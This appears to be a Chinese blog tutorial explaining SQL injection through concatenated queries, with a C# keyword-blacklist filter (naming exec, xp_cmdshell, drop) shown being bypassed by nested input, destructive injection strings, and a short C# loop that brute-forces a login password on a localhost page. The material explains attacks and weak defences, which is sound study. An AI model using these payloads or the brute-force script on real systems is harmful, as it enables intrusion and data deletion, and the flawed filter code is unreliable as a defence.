sql注入原理分析与web暴力破解密码代码

作者:袖梨 2022-06-25

如果发生这种方式的sql注入,一定是程序内部使用的sql拼接,并且没有对用户的输入的表单参数过滤或者没有对url参数过滤。

     对于sql的拼接,基本上有两种方式:

     1,如  sql = “select * from table where id=” + 输入参数;   形式

        此种最好防范,只须要对输入参数进行数字验证,如果忽略此处验证,后果也是最严重,就算你对参数进行 单引号过滤,等号过滤,sql关键字过滤 也于事无补。

        如果没有数字验证,那么sql就有可能变成


select * from table where id=10 delete from table

严重吧,但是我可能过滤了关键字啊


  

    public static string safesql(string str)
{
if (string.isnullorempty(str))
{
str = "";
return str;
}
else
{
str.replace("'", "");
}
str = new regex("exec", regexoptions.ignorecase).replace(str, "");
str = new regex("xp_cmdshell", regexoptions.ignorecase).replace(str, "");
str = new regex("select", regexoptions.ignorecase).replace(str, "");
str = new regex("insert", regexoptions.ignorecase).replace(str, "");
str = new regex("update", regexoptions.ignorecase).replace(str, "");
str = new regex("delete", regexoptions.ignorecase).replace(str, "");
str = new regex("drop", regexoptions.ignorecase).replace(str, "");
str = new regex("create", regexoptions.ignorecase).replace(str, "");
str = new regex("rename", regexoptions.ignorecase).replace(str, "");
str = new regex("truncate", regexoptions.ignorecase).replace(str, "");
str = new regex("alter", regexoptions.ignorecase).replace(str, "");
str = new regex("exists", regexoptions.ignorecase).replace(str, "");
str = new regex("master.", regexoptions.ignorecase).replace(str, "");
str = new regex("restore", regexoptions.ignorecase).replace(str, "");
str = new regex("=", regexoptions.ignorecase).replace(str, "");
str = new regex("or", regexoptions.ignorecase).replace(str, "");
str = new regex("and", regexoptions.ignorecase).replace(str, "");
return str;
}

个方法够全了吧,还不区分大小写,但是如果我的输入参数是 10 delandete from table 呢??

哈哈,方法正好被利用了。因为它会把delandete中的and过滤掉,又成了delete了。

但是黑客怎么知道我的过滤顺序啊,告诉你黑客最常用的也最管用的方法就是尝试,不用几次基本过滤顺序就能尝试出来。

同样这种利用过滤方法攻击的方法也适用于以下的几种方法

2,拼接带单引号的形式

sql = “select * from table where name = ‘” + 参数 + "' order by id desc ”    

sql = “select * from table where name = ‘%" + 参数 + "%'”

输入参数是  feng' delete from table select 1 from table where 1=‘1


面单引号终结前面的单引号的作用范围,加入自己的语句,后边自己去拼接吧。

 对于这种的注入,要想插入自己的sql语句,必须加个单引号去终结前面的单引号的作用范围,因此它也就有了自己的死穴了,只需把单引号过滤掉就行了。

有种更绝的方法是把用户输入的单引号直接替换成两个,让输入的语句没有执行环境,感觉更安全点。

 sql注入如此简单,这造成了非常严重的外部环境,因此我们应该有自己的防护措施


下面看一款暴力破密码代码
暴力破解:一个接一个的试,直到试验出正确的密码。

 

  webclient web = new webclient();
             web.encoding = encoding.utf8;
             for (int i = 0; i < 399; i++)
             {
                 string s = web.downloadstring("http://localhost:2118/website5/default.asp教程x?__viewstate=%2fwepdwukmtyznzq1ndcxn2rkg804yc5o9vry7xclcoo1%2fuinvau%3d&txtname=admin&txtpass="+i.tostring()+"&button1=%e7%99%bb%e9%99%86&__eventvalidation=%2fwewbal60vxocglehisfcwlkw6ldbqkm54rgble0dgunj7ce4iznusf6tavjjci8");
                 if (s.contains("登陆成功"))
                 {
                     console.writeline("密码破解成功:密码为:" + i.tostring());
                     break;
                 }
             }
          
            console.readkey();

相关文章

精彩推荐